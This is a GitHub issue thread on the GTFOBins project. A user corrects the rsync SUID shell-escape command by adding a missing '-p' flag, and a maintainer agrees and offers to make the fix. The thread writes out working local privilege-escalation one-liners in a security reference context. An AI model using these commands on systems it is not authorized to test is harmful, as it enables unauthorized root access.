GTFOBins.github.io icon indicating copy to clipboard operation
GTFOBins.github.io copied to clipboard

The SUID authorization command of the rsync command is incorrect; Missing - p parameter

Open Jpkie opened this issue 2 years ago • 5 comments

Original command: rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

In "sh 1>&2 0>&2", the - p parameter inheritance permission is missing after the command sh; Causing the failure of power raising;

Modified command: rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

image image

Jpkie avatar May 09 '23 00:05 Jpkie

Good catch! Feel free to file a PR if you want.

cyrus-and avatar May 09 '23 08:05 cyrus-and

@Jpkie why close?

cyrus-and avatar May 16 '23 06:05 cyrus-and

@Jpkie why close?

I thought that the author has been revised and I don't know what do you mean by said PR because I'm not often use a lot, don't know much about some terms. I'm sorry. I need to create an issue again? I am using translation software to communicate.

Jpkie avatar May 18 '23 00:05 Jpkie

Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)

cyrus-and avatar May 18 '23 07:05 cyrus-and

Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)

Thank you. If you could do this!:); )

Jpkie avatar May 23 '23 10:05 Jpkie